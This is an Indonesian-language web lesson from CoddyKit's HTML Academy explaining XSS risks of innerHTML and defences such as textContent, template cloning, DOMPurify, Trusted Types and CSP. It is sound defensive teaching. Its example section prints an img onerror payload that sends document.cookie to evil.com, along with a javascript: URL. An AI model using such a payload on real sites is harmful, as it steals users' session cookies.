HTML Academy · Pelajaran

Keamanan Template vs innerHTML

Pahami alasan template lebih aman daripada menetapkan innerHTML.

Pelajaran 4 dari 413 langkah

Keamanan Template vs innerHTML adalah pelajaran HTML Academy gratis di CoddyKit. Ini adalah pelajaran 4 dari 4. Kamu bisa membaca pelajaran lengkapnya di bawah secara gratis — lalu praktikkan langsung di browser dengan editor kode bawaan dan tutor AI 24/7. Ini adalah bagian dari jalur belajar HTML Academy, dan progresmu tersinkronisasi di web dan aplikasi CoddyKit. Kursus HTML Academy mencakup 4 pelajaran total.

Risiko Injeksi innerHTML

Menetapkan el.innerHTML = userInput akan menguraikan string sebagai HTML. Jika userInput berisi <script> atau penangan peristiwa seperti onerror, peramban akan menjalankannya—sehingga menimbulkan kerentanan Cross-Site Scripting (XSS).

Contoh XSS melalui innerHTML

Penyerang mengirimkan nama pengguna: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Jika ini dirender dengan innerHTML, onerror dijalankan dan cookie sesi dikirim keluar. Konten teks berubah menjadi kode yang dapat dieksekusi.

textContent Aman

el.textContent = userInput memperlakukan string sebagai teks biasa—tanpa penguraian HTML dan tanpa eksekusi skrip. Peramban secara otomatis melakukan pelepasan karakter < dan > di dalam simpul teks. Selalu gunakan textContent untuk nilai yang diberikan pengguna.

// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;

Elemen template Menghindari Penguraian String

Saat menggunakan template.cloneNode(true), struktur berasal dari template HTML yang telah diuraikan sebelumnya—bukan dari string yang diberikan pengguna. Menetapkan nilai melalui textContent pada simpul yang dikloning membuat data pengguna tetap berada dalam simpul teks, bukan dalam HTML yang diuraikan. Struktur dan data dipisahkan.

Pembersihan Saat innerHTML Diperlukan

Jika pemformatan HTML dari pengguna diperlukan (teks kaya), bersihkan terlebih dahulu sebelum menetapkan innerHTML. DOMPurify adalah pustaka standar: el.innerHTML = DOMPurify.sanitize(richHtml). Pustaka ini menghapus tag dan atribut berbahaya sambil mempertahankan pemformatan yang aman.

Risiko insertAdjacentHTML

insertAdjacentHTML("beforeend", html) juga menguraikan string HTML—risiko XSS-nya sama seperti innerHTML. Terapkan aturan pembersihan yang sama. Alternatif yang lebih aman: buat elemen dengan createElement, tetapkan textContent-nya, lalu gunakan appendChild.

Keamanan setAttribute

Menetapkan atribut dengan data pengguna dapat menimbulkan injeksi: el.setAttribute("href", userUrl) ketika userUrl adalah javascript:alert(1) akan membuat XSS. Validasi skema URL: hanya izinkan http:, https:, dan mailto: sebelum menetapkan atribut href atau src.

Pengambilalihan DOM

Pengambilalihan DOM adalah serangan ketika elemen formulir bernama (id="getElementById") menimpa variabel JavaScript global. Selalu akses elemen melalui document.getElementById(), bukan melalui properti global window. Content Security Policy juga mengurangi serangan pengambilalihan.

Kebijakan Trusted Types

Trusted Types (Chrome, diberlakukan melalui CSP) mengharuskan semua tujuan innerHTML, insertAdjacentHTML, dan tujuan serupa menerima string yang dibungkus oleh kebijakan. String mentah tidak dapat ditetapkan—hanya nilai yang dibuat oleh kebijakan TrustedTypes yang telah dideklarasikan. Hal ini mencegah pembersihan dilewati secara tidak sengaja.

Keamanan Fragmen Dokumen

Membuat elemen dengan API DOM (createElement, createTextNode) dan memanipulasinya dalam DocumentFragment pada dasarnya aman dari XSS—teks selalu berupa teks, bukan HTML yang diuraikan. DocumentFragments adalah cara paling aman untuk membuat antarmuka pengguna dinamis yang kompleks.

Kebijakan Keamanan Konten

CSP yang ketat (tanpa unsafe-inline, dengan skrip berbasis nonce) memberikan perlindungan berlapis terhadap XSS. Bahkan jika penyerang menyisipkan HTML, CSP mencegah skrip yang disisipkan untuk dijalankan. CSP tidak menghilangkan kebutuhan akan pembersihan—CSP adalah jaring pengaman, bukan pertahanan utama.

Pemeriksaan Pengetahuan

Mengapa textContent lebih aman daripada innerHTML untuk merender data yang diberikan pengguna?

Ringkasan

innerHTML dan API terkait menguraikan string HTML, sehingga menimbulkan kerentanan XSS ketika data pengguna disisipkan tanpa pembersihan. Penggunaan textContent, kloning template dengan pengisian melalui textContent, DOMPurify untuk teks kaya, dan Content Security Policy menciptakan pertahanan berlapis terhadap serangan injeksi HTML.

Gratis untuk memulai

Belajar HTML dengan tutor AI — gratis

Tulis dan jalankan kode asli di browser kamu, dapatkan bantuan instan dari tutor AI 24/7, dan lanjutkan di mana kamu tinggalkan di web atau aplikasi.

Kursus
40
Pelajaran
159

Pertanyaan yang Sering Diajukan

Apakah pelajaran “Keamanan Template vs innerHTML” gratis?

Ya — teks lengkap “Keamanan Template vs innerHTML” gratis dibaca di sini di web. Untuk praktiknya secara interaktif (editor kode bawaan dan tutor AI 24/7) dan buka sisa kursus HTML Academy, upgrade ke CoddyKit PRO. Kursus HTML Academy mencakup 4 pelajaran total.

Apa yang akan aku pelajari di “Keamanan Template vs innerHTML”?

Pahami alasan template lebih aman daripada menetapkan innerHTML. Kamu berlatih HTML Academy dengan kode praktik yang langsung kamu jalankan di browser, dan tutor AI 24/7 menjawab pertanyaanmu saat kamu mengerjakan pelajaran ini.

Apakah aku perlu pengalaman untuk memulai HTML Academy?

Tidak diperlukan pengalaman sebelumnya. HTML Academy di CoddyKit dirancang untuk pemula hingga pelajar tingkat lanjut, jadi kamu bisa memulai di sini atau dari awal dan belajar sesuai kecepatan kamu sendiri. Ini adalah pelajaran 4 dari 4.

Berapa lama pelajaran “Keamanan Template vs innerHTML” memakan waktu?

Sebagian besar pelajaran CoddyKit memakan waktu sekitar 5–10 menit. Setiap pelajaran ringkas dan interaktif, jadi kamu membuat kemajuan stabil dan melanjutkan dari tempat kamu tinggalkan di web dan aplikasi.

Bisakah aku menulis dan menjalankan kode dalam pelajaran HTML Academy ini?

Ya. Setiap pelajaran HTML Academy menyertakan editor kode bawaan, jadi kamu menulis dan menjalankan kode nyata langsung di browser dan mendapatkan umpan balik AI instan — tidak diperlukan penyiapan lokal.

Semua pelajaran dalam kursus ini

  1. Elemen template untuk Konten Inert
  2. Mengkloning Template dengan cloneNode
  3. Menggunakan template dengan Perenderan JavaScript
  4. Keamanan Template vs innerHTML
← Kembali ke HTML Academy